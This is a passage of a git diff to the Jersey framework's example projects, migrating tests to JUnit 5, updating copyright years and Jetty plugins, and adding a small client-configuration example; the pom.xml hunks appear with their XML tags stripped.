a/examples/bookstore-webapp/src/test/java/org/glassfish/jersey/examples/bookstore/webapp/resource/BookstoreTest.java +++ b/examples/bookstore-webapp/src/test/java/org/glassfish/jersey/examples/bookstore/webapp/resource/BookstoreTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: @@ -26,9 +26,9 @@ package org.glassfish.jersey.examples.bookstore.webapp.resource; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNotNull; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; /** * @author James Strachan @@ -54,8 +54,8 @@ public void testHappyResourceAsHtml() throws Exception { public void testResourceAsXml() throws Exception { final Bookstore response = target("bookstore-webapp").request("application/xml").get(Bookstore.class); - assertNotNull("Should have returned a bookstore!", response); - assertEquals("bookstore name", "Czech Bookstore", response.getName()); + assertNotNull(response, "Should have returned a bookstore!"); + assertEquals("Czech Bookstore", response.getName(), "bookstore name"); } @Test diff --git a/examples/bookstore-webapp/src/test/java/org/glassfish/jersey/examples/bookstore/webapp/resource/ItemTest.java b/examples/bookstore-webapp/src/test/java/org/glassfish/jersey/examples/bookstore/webapp/resource/ItemTest.java index 90273e7bcc0..48735a62efa 100644 --- a/examples/bookstore-webapp/src/test/java/org/glassfish/jersey/examples/bookstore/webapp/resource/ItemTest.java +++ b/examples/bookstore-webapp/src/test/java/org/glassfish/jersey/examples/bookstore/webapp/resource/ItemTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: @@ -28,9 +28,9 @@ import jakarta.ws.rs.client.WebTarget; -import org.junit.Test; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNotNull; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; /** * @author James Strachan @@ -51,8 +51,8 @@ public void testResourceAsXml() throws Exception { System.out.println("Item XML is: " + text); final Book response = item1resource().request("application/xml").get(Book.class); - assertNotNull("Should have returned an item!", response); - assertEquals("item title", "Svejk", response.getTitle()); + assertNotNull(response, "Should have returned an item!"); + assertEquals("Svejk", response.getTitle(), "item title"); } @Test diff --git a/examples/bookstore-webapp/src/test/java/org/glassfish/jersey/examples/bookstore/webapp/resource/TestSupport.java b/examples/bookstore-webapp/src/test/java/org/glassfish/jersey/examples/bookstore/webapp/resource/TestSupport.java index 46bd53577c5..533594e8cae 100644 --- a/examples/bookstore-webapp/src/test/java/org/glassfish/jersey/examples/bookstore/webapp/resource/TestSupport.java +++ b/examples/bookstore-webapp/src/test/java/org/glassfish/jersey/examples/bookstore/webapp/resource/TestSupport.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: @@ -33,8 +33,8 @@ import org.glassfish.jersey.servlet.ServletProperties; import org.glassfish.jersey.test.JerseyTest; -import static org.junit.Assert.assertNotNull; -import static org.junit.Assert.assertTrue; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * @author James Strachan @@ -52,13 +52,13 @@ protected Application configure() { } protected void assertHtmlResponse(String response) { - assertNotNull("No text returned!", response); + assertNotNull(response, "No text returned!"); assertResponseContains(response, ""); assertResponseContains(response, ""); } protected void assertResponseContains(String response, String text) { - assertTrue("Response should contain " + text + " but was: " + response, response.contains(text)); + assertTrue(response.contains(text), "Response should contain " + text + " but was: " + response); } } diff --git a/examples/cdi-webapp/pom.xml b/examples/cdi-webapp/pom.xml index 3b60b6c3b6f..0831fbbf190 100644 --- a/examples/cdi-webapp/pom.xml +++ b/examples/cdi-webapp/pom.xml @@ -1,7 +1,7 @@ - + + diff --git a/examples/cdi-webapp/src/main/webapp/WEB-INF/beans.xml b/examples/cdi-webapp/src/main/webapp/WEB-INF/beans.xml index 5d361e9284a..77e336a6161 100644 --- a/examples/cdi-webapp/src/main/webapp/WEB-INF/beans.xml +++ b/examples/cdi-webapp/src/main/webapp/WEB-INF/beans.xml @@ -1,7 +1,7 @@ - + + diff --git a/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/CdiTest.java b/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/CdiTest.java index 187f12199a9..b4dbfa10d63 100644 --- a/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/CdiTest.java +++ b/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/CdiTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -19,8 +19,9 @@ import org.glassfish.jersey.test.JerseyTest; import org.jboss.weld.environment.se.Weld; -import org.junit.Assume; -import org.junit.Before; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.Assumptions; +import org.junit.jupiter.api.BeforeEach; /** * Test for CDI web application resources. @@ -36,11 +37,12 @@ public class CdiTest extends JerseyTest { Weld weld; - @Before + @BeforeEach public void setup() { - Assume.assumeTrue(Hk2InjectionManagerFactory.isImmediateStrategy()); + Assumptions.assumeTrue(Hk2InjectionManagerFactory.isImmediateStrategy()); } + @BeforeEach @Override public void setUp() throws Exception { weld = new Weld(); @@ -48,6 +50,7 @@ public void setUp() throws Exception { super.setUp(); } + @AfterEach @Override public void tearDown() throws Exception { weld.shutdown(); diff --git a/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/EchoParamBeanTest.java b/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/EchoParamBeanTest.java index 9ac3c5b0ca2..8d93375ffcc 100644 --- a/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/EchoParamBeanTest.java +++ b/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/EchoParamBeanTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -10,50 +10,35 @@ package org.glassfish.jersey.examples.cdi.resources; -import java.util.Arrays; -import java.util.List; +import java.util.stream.Stream; import jakarta.ws.rs.client.WebTarget; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.Parameterized; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; import static org.hamcrest.CoreMatchers.containsString; -import static org.junit.Assert.assertThat; +import static org.hamcrest.MatcherAssert.assertThat; /** * Test for the echo with injected param managed bean resource. * * @author Jakub Podlesak */ -@RunWith(Parameterized.class) public class EchoParamBeanTest extends CdiTest { - @Parameterized.Parameters - public static List testData() { - return Arrays.asList(new Object[][] { - {"alpha", "beta"}, - {"AAA", "BBB"}, - {"b", "a"}, - {"1$s", "2&d"} - }); + public static Stream testData() { + return Stream.of( + Arguments.of("alpha", "beta"), + Arguments.of("AAA", "BBB"), + Arguments.of("b", "a"), + Arguments.of("1$s", "2&d") + ); } - final String a, b; - - /** - * Create a new test case based on the above defined parameters. - * - * @param a query parameter value - * @param b path parameter value - */ - public EchoParamBeanTest(String a, String b) { - this.a = a; - this.b = b; - } - - @Test - public void testEchoParamResource() { + @ParameterizedTest + @MethodSource("testData") + public void testEchoParamResource(String a, String b) { final WebTarget target = target().path("echofield").path(b); diff --git a/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/EchoResourceTest.java b/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/EchoResourceTest.java index 42549fbcbf4..4f6ad306700 100644 --- a/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/EchoResourceTest.java +++ b/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/EchoResourceTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -10,48 +10,30 @@ package org.glassfish.jersey.examples.cdi.resources; -import java.util.Arrays; -import java.util.List; +import java.util.stream.Stream; import jakarta.ws.rs.client.WebTarget; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.Parameterized; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.MethodSource; + import static org.hamcrest.CoreMatchers.containsString; -import static org.junit.Assert.assertThat; +import static org.hamcrest.MatcherAssert.assertThat; /** * Test for the echo resource. * * @author Jakub Podlesak */ -@RunWith(Parameterized.class) public class EchoResourceTest extends CdiTest { - @Parameterized.Parameters - public static List testData() { - return Arrays.asList(new Object[][] { - {"alpha"}, - {"AAA"}, - {"b"}, - {"1"} - }); - } - - final String a; - - /** - * Create a new test case based on the above defined parameters. - * - * @param a path parameter value - */ - public EchoResourceTest(String a) { - this.a = a; + public static Stream testData() { + return Stream.of("alpha", "AAA", "b", "1"); } - @Test - public void testEchoResource() { + @ParameterizedTest + @MethodSource("testData") + public void testEchoResource(String a) { final WebTarget target = target().path("echo").path(a); @@ -61,8 +43,9 @@ public void testEchoResource() { assertThat(s, containsString(a)); } - @Test - public void testEchoParamCtorResource() { + @ParameterizedTest + @MethodSource("testData") + public void testEchoParamCtorResource(String a) { final WebTarget target = target().path("echoparamconstructor").path(a); diff --git a/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/HelloworldTest.java b/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/HelloworldTest.java index 006634c73e1..3ebf7a7f421 100644 --- a/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/HelloworldTest.java +++ b/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/HelloworldTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -10,9 +10,9 @@ package org.glassfish.jersey.examples.cdi.resources; -import org.junit.Test; +import org.junit.jupiter.api.Test; -import static org.junit.Assert.assertThat; +import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.CoreMatchers.containsString; /** diff --git a/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/PerApplicationBeanTest.java b/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/PerApplicationBeanTest.java index cac61603b00..b5a157ecb83 100644 --- a/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/PerApplicationBeanTest.java +++ b/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/PerApplicationBeanTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -13,7 +13,7 @@ import jakarta.ws.rs.client.Entity; import jakarta.ws.rs.client.WebTarget; -import org.junit.Test; +import org.junit.jupiter.api.Test; import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.CoreMatchers.containsString; diff --git a/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/PerRequestBeanTest.java b/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/PerRequestBeanTest.java index cdc5533a0a2..b43602d9ff8 100644 --- a/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/PerRequestBeanTest.java +++ b/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/PerRequestBeanTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -10,51 +10,36 @@ package org.glassfish.jersey.examples.cdi.resources; -import java.util.Arrays; -import java.util.List; +import java.util.stream.Stream; import jakarta.ws.rs.client.WebTarget; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.Parameterized; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; import static org.hamcrest.CoreMatchers.containsString; import static org.hamcrest.CoreMatchers.startsWith; -import static org.junit.Assert.assertThat; +import static org.hamcrest.MatcherAssert.assertThat; /** * Test for the request scoped managed bean resource. * * @author Jakub Podlesak */ -@RunWith(Parameterized.class) public class PerRequestBeanTest extends CdiTest { - @Parameterized.Parameters - public static List testData() { - return Arrays.asList(new Object[][] { - {"gamma", "delta"}, - {"CC C", "D DD"}, - {"d", "c"}, - {"@^&", "?!:"} - }); + public static Stream testData() { + return Stream.of( + Arguments.of("gamma", "delta"), + Arguments.of("CC C", "D DD"), + Arguments.of("d", "c"), + Arguments.of("@^&", "?!:") + ); } - final String c, d; - - /** - * Create a new test case based on the above defined parameters. - * - * @param c first path parameter value. - * @param d second path parameter value. - */ - public PerRequestBeanTest(String c, String d) { - this.c = c; - this.d = d; - } - - @Test - public void testTheOtherResource() { + @ParameterizedTest + @MethodSource("testData") + public void testTheOtherResource(String c, String d) { final WebTarget target = target().path("other").path(c).path(d); String s = target.request().get(String.class); diff --git a/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/ProxyScopeAlignmentTest.java b/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/ProxyScopeAlignmentTest.java index 594df174420..a94557d322c 100644 --- a/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/ProxyScopeAlignmentTest.java +++ b/examples/cdi-webapp/src/test/java/org/glassfish/jersey/examples/cdi/resources/ProxyScopeAlignmentTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -10,17 +10,15 @@ package org.glassfish.jersey.examples.cdi.resources; -import java.util.Arrays; -import java.util.List; +import java.util.stream.Stream; import jakarta.ws.rs.client.WebTarget; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.Parameterized; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.MethodSource; import static org.hamcrest.CoreMatchers.containsString; -import static org.junit.Assert.assertThat; +import static org.hamcrest.MatcherAssert.assertThat; /** * Ensure CDI and JAX-RS scopes are well aligned, so that dynamic proxies @@ -28,31 +26,15 @@ * * @author Jakub Podlesak */ -@RunWith(Parameterized.class) public class ProxyScopeAlignmentTest extends CdiTest { - @Parameterized.Parameters - public static List testData() { - return Arrays.asList(new Object[][] { - {"one"}, - {"too"}, - {"much"} - }); + public static Stream testData() { + return Stream.of("one", "too", "much"); } - final String p; - - /** - * Create a new test case based on the above defined parameters. - * - * @param p path parameter value - */ - public ProxyScopeAlignmentTest(String p) { - this.p = p; - } - - @Test - public void testUiInjection() { + @ParameterizedTest + @MethodSource("testData") + public void testUiInjection(String p) { final WebTarget app = target().path("ui-app").path(p); final WebTarget req = target().path("ui-req").path(p); diff --git a/examples/clipboard-programmatic/pom.xml b/examples/clipboard-programmatic/pom.xml index 88a81c0beaf..858940e8795 100644 --- a/examples/clipboard-programmatic/pom.xml +++ b/examples/clipboard-programmatic/pom.xml @@ -1,7 +1,7 @@ + + + 4.0.0 + + + org.glassfish.jersey.examples + project + 3.1.99-SNAPSHOT + + + configured-client + jar + jersey-examples-configured-client + + Jersey client configured by a property file example. + + + + org.glassfish.jersey.containers + jersey-container-grizzly2-http + + + + org.glassfish.jersey.inject + jersey-hk2 + + + + org.glassfish.jersey.connectors + jersey-apache5-connector + + + + org.glassfish.jersey.ext.microprofile + jersey-mp-config + + + + io.helidon.microprofile.config + helidon-microprofile-config + ${helidon.config.version} + + + org.eclipse.microprofile.config + microprofile-config-api + + + + + + + + + + + + + + + + + + + org.glassfish.jersey.test-framework + jersey-test-framework-util + test + + + + org.glassfish.jersey.test-framework.providers + jersey-test-framework-provider-bundle + pom + test + + + + + + + + org.codehaus.mojo + exec-maven-plugin + + org.glassfish.jersey.examples.configured.client.App + + + + maven-surefire-plugin + + + + + + + pre-release + + + + org.apache.maven.plugins + maven-assembly-plugin + + + + + + jdk11- + + (,12) + + + ${helidon.config.11.version} + + + + diff --git a/examples/configured-client/src/main/java/org/glassfish/jersey/examples/configured/client/App.java b/examples/configured-client/src/main/java/org/glassfish/jersey/examples/configured/client/App.java new file mode 100644 index 00000000000..0f6d49bca6b --- /dev/null +++ b/examples/configured-client/src/main/java/org/glassfish/jersey/examples/configured/client/App.java @@ -0,0 +1,74 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.configured.client; + +import java.io.IOException; +import java.net.URI; +import java.util.logging.Level; +import java.util.logging.Logger; + +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.grizzly2.httpserver.GrizzlyHttpServerFactory; +import org.glassfish.jersey.server.ResourceConfig; + +import org.glassfish.grizzly.http.server.HttpServer; + +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; + +/** + * Hello world! + */ +public class App { + + private static final URI BASE_URI = URI.create("http://localhost:8080/base/"); + public static final String ROOT_PATH = "helloworld"; + /* package */ static final String ENTITY_PROPERTY = "entity.value"; + + public static void main(String[] args) { + try { + System.out.println("\"Hello World\" Jersey Example App"); + + final ResourceConfig resourceConfig = new ResourceConfig(HelloWorldResource.class); + final HttpServer server = GrizzlyHttpServerFactory.createHttpServer(BASE_URI, resourceConfig, false); + Runtime.getRuntime().addShutdownHook(new Thread(new Runnable() { + @Override + public void run() { + server.shutdownNow(); + } + })); + server.start(); + + WebTarget target = ClientBuilder.newClient().target(BASE_URI); + Object entity = target.getConfiguration().getProperty(ENTITY_PROPERTY); + Object provider = target.getConfiguration().getProperty(ClientProperties.CONNECTOR_PROVIDER); + + System.out + .append(" Application started.\n") + .append(" Sending entity \"").append((String) entity).append("\"") + .append(" using ").append((String) provider).append(" connector provider") + .append(" to echo resource ").append(BASE_URI.toASCIIString()).println(ROOT_PATH); + + try (Response response = target.path(ROOT_PATH).request().post(Entity.entity(entity, MediaType.TEXT_PLAIN_TYPE))) { + System.out.append(" Recieved: \"").append(response.readEntity(String.class)).println("\""); + } + + server.stop(); + System.exit(0); + } catch (IOException ex) { + Logger.getLogger(App.class.getName()).log(Level.SEVERE, null, ex); + } + + } +} diff --git a/examples/configured-client/src/main/java/org/glassfish/jersey/examples/configured/client/HelloWorldResource.java b/examples/configured-client/src/main/java/org/glassfish/jersey/examples/configured/client/HelloWorldResource.java new file mode 100644 index 00000000000..3c25599d973 --- /dev/null +++ b/examples/configured-client/src/main/java/org/glassfish/jersey/examples/configured/client/HelloWorldResource.java @@ -0,0 +1,41 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.configured.client; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.core.Configuration; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.MediaType; + + +@Path("helloworld") +public class HelloWorldResource { + @Context + Configuration configuration; + + @POST + @Produces("text/plain") + public String postHello(String helloMsg) { + return helloMsg; + } + + @GET + @Path("agent") + @Produces(MediaType.TEXT_PLAIN) + public String getAgent(@Context HttpHeaders headers) { + return headers.getHeaderString(HttpHeaders.USER_AGENT); + } + +} diff --git a/examples/configured-client/src/main/resources/META-INF/microprofile-config.properties b/examples/configured-client/src/main/resources/META-INF/microprofile-config.properties new file mode 100644 index 00000000000..5c6cbb246aa --- /dev/null +++ b/examples/configured-client/src/main/resources/META-INF/microprofile-config.properties @@ -0,0 +1,12 @@ +# +# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. +# +# This program and the accompanying materials are made available under the +# terms of the Eclipse Distribution License v. 1.0, which is available at +# http://www.eclipse.org/org/documents/edl-v10.php. +# +# SPDX-License-Identifier: BSD-3-Clause +# + +jersey.config.client.connector.provider=org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider +entity.value=Hello World! \ No newline at end of file diff --git a/examples/configured-client/src/test/java/org/glassfish/jersey/examples/configured/client/HelloWorldTest.java b/examples/configured-client/src/test/java/org/glassfish/jersey/examples/configured/client/HelloWorldTest.java new file mode 100644 index 00000000000..7499c2ba112 --- /dev/null +++ b/examples/configured-client/src/test/java/org/glassfish/jersey/examples/configured/client/HelloWorldTest.java @@ -0,0 +1,71 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.configured.client; + +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.glassfish.jersey.test.TestProperties; + +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.TestInstance; +import org.junit.jupiter.api.parallel.Execution; +import org.junit.jupiter.api.parallel.ExecutionMode; +import org.junit.jupiter.api.parallel.ResourceAccessMode; +import org.junit.jupiter.api.parallel.ResourceLock; + +import static org.glassfish.jersey.examples.configured.client.App.ENTITY_PROPERTY; + +@TestInstance(TestInstance.Lifecycle.PER_CLASS) +public class HelloWorldTest extends JerseyTest { + + @Override + protected ResourceConfig configure() { + // mvn test -Djersey.config.test.container.factory=org.glassfish.jersey.test.inmemory.InMemoryTestContainerFactory + // mvn test -Djersey.config.test.container.factory=org.glassfish.jersey.test.grizzly.GrizzlyTestContainerFactory + // mvn test -Djersey.config.test.container.factory=org.glassfish.jersey.test.jdkhttp.JdkHttpServerTestContainerFactory + // mvn test -Djersey.config.test.container.factory=org.glassfish.jersey.test.simple.SimpleTestContainerFactory + enable(TestProperties.LOG_TRAFFIC); + // enable(TestProperties.DUMP_ENTITY); + return new ResourceConfig(HelloWorldResource.class); + } + + @Test + @Execution(ExecutionMode.CONCURRENT) + @ResourceLock(value = "dummy", mode = ResourceAccessMode.READ) + public void testEntity() { + WebTarget target = target("helloworld"); + Object entity = target.getConfiguration().getProperty(ENTITY_PROPERTY); + try (Response response = target.request().post(Entity.entity(entity, MediaType.TEXT_PLAIN_TYPE))) { + Assertions.assertEquals(200, response.getStatus()); + String readEntity = response.readEntity(String.class); + System.out.println(entity); + Assertions.assertEquals(entity, readEntity); + } + } + + @Test + @Execution(ExecutionMode.CONCURRENT) + @ResourceLock(value = "dummy", mode = ResourceAccessMode.READ) + public void testConnector() { + try (Response response = target("helloworld").path("agent").request().get()) { + Assertions.assertEquals(200, response.getStatus()); + String entity = response.readEntity(String.class); + System.out.println(entity); + Assertions.assertTrue(entity.contains("Apache HttpClient 5")); + } + } +} diff --git a/examples/declarative-linking/pom.xml b/examples/declarative-linking/pom.xml index 1bf96de3b54..6a4b5a02ae2 100644 --- a/examples/declarative-linking/pom.xml +++ b/examples/declarative-linking/pom.xml @@ -1,7 +1,7 @@ @@ -103,7 +109,7 @@ org.slf4j slf4j-log4j12 - 1.6.4 + ${slf4j.version} test @@ -133,8 +139,8 @@ jakarta.xml.bind-api - com.sun.activation - jakarta.activation + org.eclipse.angus + angus-activation @@ -171,7 +177,7 @@ jakarta.activation jakarta.activation-api - ${jakarta.activation.version} + ${jakarta.activation-api.version} jakarta.xml.bind @@ -228,6 +234,16 @@ xercesImpl ${xerces.version} + + xml-apis + xml-apis + 1.4.01 + + + jakarta.xml.bind + jakarta.xml.bind-api + ${jakarta.jaxb.api.version} + - org.eclipse.jetty - jetty-maven-plugin + org.eclipse.jetty.ee10 + jetty-ee10-maven-plugin diff --git a/examples/freemarker-webapp/src/test/java/org/glassfish/jersey/examples/freemarker/FreemarkerTest.java b/examples/freemarker-webapp/src/test/java/org/glassfish/jersey/examples/freemarker/FreemarkerTest.java index 0c3639468b4..85634a0c803 100644 --- a/examples/freemarker-webapp/src/test/java/org/glassfish/jersey/examples/freemarker/FreemarkerTest.java +++ b/examples/freemarker-webapp/src/test/java/org/glassfish/jersey/examples/freemarker/FreemarkerTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2011, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -19,8 +19,8 @@ import org.glassfish.jersey.test.JerseyTest; import org.glassfish.jersey.test.TestProperties; -import org.junit.Test; -import static org.junit.Assert.assertTrue; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * @author Pavel Bucek diff --git a/examples/groovy/pom.xml b/examples/groovy/pom.xml index c3cb7147e25..f7f45771929 100644 --- a/examples/groovy/pom.xml +++ b/examples/groovy/pom.xml @@ -1,7 +1,7 @@ - org.mortbay.jetty - maven-jetty-plugin + org.eclipse.jetty.ee10 + jetty-ee10-maven-plugin + + + /helloworld-spring-webapp + + diff --git a/examples/helloworld-spring-webapp/src/main/java/org/glassfish/jersey/examples/helloworld/spring/CustomExceptionMapper.java b/examples/helloworld-spring-webapp/src/main/java/org/glassfish/jersey/examples/helloworld/spring/CustomExceptionMapper.java index 4ca8d6c5dd9..a0deb274303 100644 --- a/examples/helloworld-spring-webapp/src/main/java/org/glassfish/jersey/examples/helloworld/spring/CustomExceptionMapper.java +++ b/examples/helloworld-spring-webapp/src/main/java/org/glassfish/jersey/examples/helloworld/spring/CustomExceptionMapper.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at @@ -10,8 +10,6 @@ package org.glassfish.jersey.examples.helloworld.spring; -import org.springframework.stereotype.Component; - import jakarta.ws.rs.core.Response; import jakarta.ws.rs.ext.ExceptionMapper; import jakarta.ws.rs.ext.Provider; diff --git a/examples/helloworld-spring-webapp/src/main/java/org/glassfish/jersey/examples/helloworld/spring/GreetingServiceImpl.java b/examples/helloworld-spring-webapp/src/main/java/org/glassfish/jersey/examples/helloworld/spring/GreetingServiceImpl.java index 9b947887a12..652e763dfe1 100644 --- a/examples/helloworld-spring-webapp/src/main/java/org/glassfish/jersey/examples/helloworld/spring/GreetingServiceImpl.java +++ b/examples/helloworld-spring-webapp/src/main/java/org/glassfish/jersey/examples/helloworld/spring/GreetingServiceImpl.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Distribution License v. 1.0, which is available at diff --git a/examples/helloworld-webapp/pom.xml b/examples/helloworld-webapp/pom.xml index 17d288b43c3..a603cd4f95f 100644 --- a/examples/helloworld-webapp/pom.xml +++ b/examples/helloworld-webapp/pom.xml @@ -1,7 +1,7 @@ @@ -60,8 +59,8 @@ - org.eclipse.jetty - jetty-maven-plugin + org.eclipse.jetty.ee10 + jetty-ee10-maven-plugin /helloworld-webapp diff --git a/examples/helloworld-webapp/src/test/java/org/glassfish/jersey/examples/helloworld/webapp/HelloWorldTest.java b/examples/helloworld-webapp/src/test/java/org/glassfish/jersey/examples/helloworld/webapp/HelloWorldTest.java index f72795ac971..9a83a96b292 100644 --- a/examples/helloworld-webapp/src/test/java/org/glassfish/jersey/examples/helloworld/webapp/HelloWorldTest.java +++ 